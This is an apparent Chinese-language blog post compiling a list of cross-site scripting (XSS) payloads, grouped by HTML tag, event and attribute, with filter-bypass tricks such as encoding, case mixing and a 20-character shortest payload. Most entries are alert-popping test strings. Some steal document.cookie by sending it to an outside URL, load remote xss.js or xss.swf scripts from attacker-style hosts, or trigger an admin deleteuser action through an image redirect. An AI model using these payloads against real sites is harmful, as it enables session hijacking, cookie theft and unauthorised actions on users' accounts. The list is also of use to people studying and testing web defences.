标签、事件、属性

xss的攻击原理就是前端被插入了恶意的js代码,下面展示大部分可以执行js的标签、事件、属性;

标签(label)

  1. <script> <a> <p> <img>
  2. <body> <button> <var> <div> <style>
  3. <iframe> <object> <input> <select>
  4. <textarea> <keygen> <frameset> <embed>
  5. <svg> <math> <video> <audio>
  6. <link> <table>

事件(event) --- 事件都是onXxx开头

  1. onload onerror onunload onchange onsubmit
  2. onreset onselect onblur onfocus
  3. onabort onkeydown onkeypress onkeyup
  4. onclick ondbclick onmouseover onmousemove
  5. onmouseout onmouseup onforminput onformchange
  6. ondrag ondrop

属性(attribute)

  1. formaction action href
  2. xlink:href autofocus src
  3. content data expression

HTML代码注入

script标签

  1. <script>document.write(String.fromCharCode(在这里写上你的代码));</script> //过滤了等号、单引号、双引号、空格的绕过方法
  2. ><script>alert(document.cookie)</script>
  3. </script><script>alert(doucument.cookie)</script>
  4. <script firefox>alert(1)</script> //其实我们并不需要一个规范的script标签
  5. <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script>
  6. <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061%6C%65%72%74(/XSS/)></script>//在这里我们依然可以使用那些编码
  7. <script>prompt(-[])</script> //不只是alert。prompt和confirm也可以弹窗
  8. <script>alert(/3/)</script> //可以用"/"来代替单引号和双引号
  9. <script>alert(String.fromCharCode(49))</script> //我们还可以用char
  10. <script>alert(/7/.source)</script> // ".source"不会影响alert(7)的执行
  11. <script>setTimeout('alert(1)',0)</script> //如果输出是在setTimeout里,我们依然可以直接执行alert(1)
  12. <SCRIPT SRC=//3w.org/XSS/xss.js> //无结束脚本标记
  13. <SCRIPT SRC=http://3w.org/XSS/xss.js?<B>; //无结束脚本标记(仅火狐等浏览器)

a标签

  1. <a href=javaascript:alert(document.cookie)>href</a>
  2. <svg><a xlink:href="javascript:alert(1234)"><rect width="1000" height="1000" fill="white"/></a></svg>

img标签 + onerror(都是通过event来调用js)

  1. <img src=# onerror="alert(document.cookie)"/>
  2. <img src=x onerror=alert(1)>
  3. <img src ?itworksonchrome?\/onerror = alert(1)> //只在chrome下有效
  4. <img src=x onerror=window.open('http://google.com');>
  5. <img/src/onerror=alert(1)> //只在chrome下有效
  6. <img src="x:kcf" onerror="alert(1)">
  7. //IMG嵌入式命令,可执行任意命令
  8. <IMG SRC="http://www.XXX.com/a.php?a=b">
  9. //IMG嵌入式命令(a.jpg在同服务器)
  10. Redirect 302 /a.jpg http://www.XXX.com/admin.asp&deleteuser

button标签

应该有一部分人对于button标签的js调用还停留在通过event事件来实现。像下面的例子.:

  1. <button/onclick=alert(1) >M</button>

那么如果所有的on(event)被过滤了,我们就没有办法了么?其实html5已经给我们带来了新的姿势:

  1. <form><button formaction=javascript&colon;alert(1)>M

也许看到这里就有人会吐槽,这种需要用户交互的啊! 如果使用onfocus事件,再加上autofocus我们就可以达到自动弹窗,无须交互了。

  1. <button onfocus=alert(1) autofocus>

p标签 + onmouseover事件(都是通过event来调用js)

  1. <p/onmouseover=javascript:alert(1); >M</p>
  2. <p onmouseover=alert(/insight-labs/)>insight-labs、<frameset onload=alert(/insight-labs/)><body onload=alert(/insight-labs/)>

body标签 + onload(都是通过event来调用js)

  1. <body onload=alert(/insight-labs/)>
  2. <BODY BACKGROUND="javascript:alert(XSS)">
  3. <body onload=alert(1)>
  4. <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>

var标签

  1. <var onmouseover="prompt(1)">KCF</var>

input标签 + 属性/事件

  1. <INPUT TYPE="IMAGE" SRC="javascript:alert(XSS);">
  2. <input onfocus=javascript:alert(1) autofocus>
  3. <input onblur=javascript:alert(1) autofocus><input autofocus>

link标签

  1. <LINK REL="stylesheet" HREF="javascript:alert(XSS);">
  2. <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">

object标签

  1. <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
  2. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert(XSS)></OBJECT>

meta协议标签

  1. META协议
  2. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(XSS);">
  3. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
  4. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(XSS);">

frameset标签

  1. <frameset onload=alert(/insight-labs/)>
  2. <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
  3. <FRAMESET><FRAME src=javascript:alert('XpSS')></FRAME></FRAMESET>

table标签

  1. <TABLE BACKGROUND="javascript:alert('XSS')">
  2. <TABLE><TD BACKGROUND="javascript:alert('XSS')">

onclick、onmouseout属性

  1. <L onclick=alert(document.cookie)>click me</L★最琀;弹出1
  2. <span class="qm_ico_print" id="mail_print" title="打印" onclick="window.open('/cgi-bin/readmail?sid=SC_hEOi3h_nqEgJQ&amp');"></span>
  3. <a href="http://www.baidu.com" style="color:#143d70; simsun;" onclick="alert(/a/);this.style.behavior='url(#default#homepage)';this.setHomePage('http://www.baidu.com'); return(false);">asdasdsad</a>
  4. <span onclick="javascript:changeFont(2);">
  5. <SPAN class="xmsw" title=dd onmouseout=window.location='http://www,xfydyt.com'>test</span>
  6. <span class="xmsw" title="dd" onmouseout=window.location='http://test/test.php?c='+document.cookie>test</span>
  7. <SPAN class="xmsw" title=dd onmouseout=javascript:alert(document.cookie)>test</SPAN>

CSS代码注入 div、style标签 + expression属性

  1. <STYLE>
  2. .testcss{
  3. color: expreseion(alert(1))
  4. }
  5. </STYLE>
  6. <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
  7. <style>body {background-image: url("javascript:alert(123)");}</style>
  8. <STYLE>@importjavasc ipt:alert("XSS");</STYLE>
  9. <STYLE>@importhttp://ha.ckers.org/xss.css;</STYLE>
  10. C<STYLE TYPE="text/javascript">alert(XSS);</STYLE>
  11. <STYLE>.XSS{background-image:url("javascript:alert(XSS)");}</STYLE><A class="XSS"></A>
  12. <STYLE type="text/css">BODY{background:url("javascript:alert(XSS)")}</STYLE>
  13. <div style="background-image:url(javascript:alert(123))">
  14. <DIV STYLE="background-image: 075 072 06C 028 06a 061 076 061 073 063 072 069 070 074 03a 061 06c 065 072 074 028.1027 058.1053 053 027 029 029">
  15. <DIV STYLE="width: expression(alert(XSS));">

注入div

  1. list.html?keyword="-prompt(document.cookie)-"
  2. <span class="test">&quot;-prompt(document.cookie)-&quot;</span>

DOM型注入 iframe标签

iframe标签这个例子当中值得一提的是,有时候我们可以通过实体编码
&Tab(换行和tab字符)来bypass一些filter。

我们还可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。不过关于flash值得一提的是,只有在crossdomain.xml文件中,allow-access-from domain=“"允许从外部调用swf时,我们才可以通过flash来实现xss attack。

  1. <IFRAME SRC="javascript:alert(1);"></IFRAME>
  2. <iframe/onload=alert(53)></iframe>

onload执行js

  1. <iframe onload="alert(1)"></iframe>

src执行javascript代码

  1. <iframe src="javascript:alert(1)"></iframe>

IE下vbscript执行代码

  1. <iframe src="vbscript:msgbox(1)"></iframe>

Chrome下data协议执行代码

  1. <iframe src="data:text/html,<script>alert(1)</script>"></iframe>
  2. ?url=<iframe
  3. src=JavaScript:(prompt)(document.domain)>a://目标url<a>
  4. <iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

Chrome下srcdoc属性

  1. <iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

JS代码注入,意味着无需< >

  1. javascript:alert('DOM XSS')
  2. #javascript:alert('DOM XSS')
  3. #vbscript:msgbox(IE)
  4. #data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
  5. ?query%5Border_No%5D=&query%5Bm
  6. obile%5D=%27%2balert`1`%2b%27
  7. ?query[order_No]=&query[m
  8. obile]='+alert`1`+'

绕过过滤的方式

白盒

  • 阅读代码,查看开发写的过滤方法是怎么过滤的,针对性的看有什么是可以pass的

黑盒就尝试下面的方法

  • 转编码、进制、混合编码
  1. &lt;script&nbsp;src=//xss.tw/3058&gt;&lt;/script&gt;
  2. &quot; 引号
  3. &nbsp; 空格
  4. &lt; <
  5. &gt; >
  • 大小写
  • 多层嵌套
  • 尝试一下其它标签、属性、事件

代替空格

  1. <img/src=x onerror=alert(1)>
  2. <M/onclick="alert(1)">M

最短xss 20个字符

  1. <b/ondrag=alert()>M

可以尝试的标签

  1. // US_ASCII编码(库尔特发现)。使用7位ascii编码代替8位,可以绕过很多过滤。但是必须服务器是以US-ASCII编码交互的。目前仅发现Apache Tomcat是以该方式交互
  2. ?scriptualert(EXSSE)?/scriptu
  3. <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert(XSS);">]]>
  4. <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(XSS)>
  5. </C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>

flash注入 embed标签

embed标签可以嵌入FLASH,其中包涵XSS;

  1. <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> //chrome
  2. <embed src=javascript:alert(1)> //firefox
  3. <EMBED SRC="http://3w.org/XSS/xss.swf" ></EMBED>
  4. <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>

.swf

  1. Code: a="get";
  2. b="URL("";
  3. c="javascript:";
  4. d="alert(XSS);")";
  5. eval(a+b+c+d);

参考

https://www.leavesongs.com/PENETRATION/xss-collect.html

XSS Payload List的更多相关文章

  1. ES6中的模板字符串和新XSS Payload

    ES6中的模板字符串和新XSS Payload 众所周知,在XSS的实战对抗中,由于防守方经常会采用各种各样严格的过滤手段来过滤输入,所以我们使用的XSS Payload也会根据实际情况作出各种各样的 ...

  2. XSS Payload知识备忘

    参考资料:<白帽子讲Web安全>吴翰清 著 参见: 百度百科 http://baike.baidu.com/view/50325.htm 维基百科 http://zh.wikipedia. ...

  3. XSS payload 大全

    收集的一些XSS payload,主要分为五大类,便于查阅. #第一类:Javascript URL <a href="javascript:alert('test')"&g ...

  4. xss payload

    xss payload可以使用富客户端文本书写,大多数用javascript,少部分用actionscript等等. 1.盗取cookie,发起cookie劫持 使用xss漏洞插入cookie.js ...

  5. 1.8 收集的XSS Payload

    收集的XSS Payload ,可以做成字典,到时候批量测试:--------------------------------------------------------------------- ...

  6. Web安全系列(二):XSS 攻击进阶(初探 XSS Payload)

    什么是 XSS Payload 上一章我谈到了 XSS 攻击的几种分类以及形成的攻击的原理,并举了一些浅显的例子,接下来,我就阐述什么叫做 XSS Payload 以及从攻击者的角度来初探 XSS 攻 ...

  7. XSS Payload深入分析整理

    几种加载XSS Payload的不常见标签 众所周知,一种调用JavaScript的方法就是在元素类型上使用事件处理器(Event Handler),通常的一种方法类似: <img src=x ...

  8. 【命令汇总】XSS payload 速查表

    日期:2019-05-15 14:06:21 作者:Bay0net 介绍:收集并且可用的一些 XSS payload,网上的速查表很多,但是测试了下很多 payload 的不可用,这里都是自己能用的 ...

  9. xssless - 自动化的XSS payload攻击器

    XSSLESS 一个用Python编写的自动化XSS 负载(payload)攻击器 用法: 记录请求 并结合Burp proxy 选择你想生成的请求,然后右键选择“保存项目” 使用xssless生成你 ...

  10. xss payload大全

    刚好刚才在fuzz一个站的时候用到,就从笔记里抛出来了. code: (1)普通的XSS JavaScript注入 <SCRIPT SRC=http://3w.org/XSS/xss.js> ...

随机推荐

  1. Linux进程间通信-管道深入理解(转)

    原文地址:https://www.linuxidc.com/Linux/2018-04/151680.htm Linux进程通信系列文章将详细介绍各种通信方式的机制和区别 1.进程间通信 每个进程各自 ...

  2. 信息物理融合CPS

    在阅读了自动化学报的信息物理融合专刊的两篇文章李洪阳老师等发表的<信息物理系统技术综述>一文对信息物理融合有了一个初步的了解.链接附后. 信息物理融合从字面上看好像是软件和硬件系统的融合, ...

  3. 一键安装最新内核并开启 BBR 脚本

    最近,Google 开源了其 TCP BBR 拥塞控制算法,并提交到了 Linux 内核,从 4.9 开始,Linux 内核已经用上了该算法.根据以往的传统,Google 总是先在自家的生产环境上线运 ...

  4. Python 安装 virturalenv 虚拟环境

    返回目录 本篇索引 一.概述 二.Linux下安装Python虚拟环境 三.Windows下安装Python虚拟环境 一.概述 有时候会在一台主机上安装多个不同的Python版本,用以运行不同时期开发 ...

  5. RHEL 8 安装 Oracle 19c 注意问题

    RedHat Enterprise Linux 8 版本静默安装 Oracle 数据库软件时,需注意的问题 来自博客园AskScuti 1. 提示缺少库文件 libnsl.so.1 2. 因着OS版本 ...

  6. LeetCode 第四题 Median of Two Sorted Arrays 二人 渣渣选手乱七八糟分析发现基本回到思路1

    题目 There are two sorted arrays nums1 and nums2 of size m and n respectively. Find the median of the ...

  7. JDK 动态代理的实现

    JDK 动态代理的实现 虽然在常用的 Java 框架(Spring.MyBaits 等)中,经常见到 JDK 动态代理的使用,也知道了怎么去写一个 JDK 动态代理的 Demo,但是并不清楚实现原理. ...

  8. Python元组详解

    元组的特征 元组类型的名字是tuple 元组的一级元素不可被修改.不能增加或者删除: 元组和列表的书写区别是将中括号改成了小括号: 为方便区分元组和普通方法的参数,一般在元组的最后一个元素后保持加一个 ...

  9. LaTeX技巧005:定制自己炫酷的章节样式实例

    示例一: 实现代码: \usepackage[Lenny]{fncychap} 示例二: 实现代码: \usepackage[avantgarde]{quotchap} \renewcommand\c ...

  10. Vue中常见参数传递方式

    文章内容:这里只有vue中父子组件传参.路由间的传参 (另外还有vuex.储存本地.中央bus等方式) 一.父子组件 1.1父传子(props) <!-- 父组件father.vue --> ...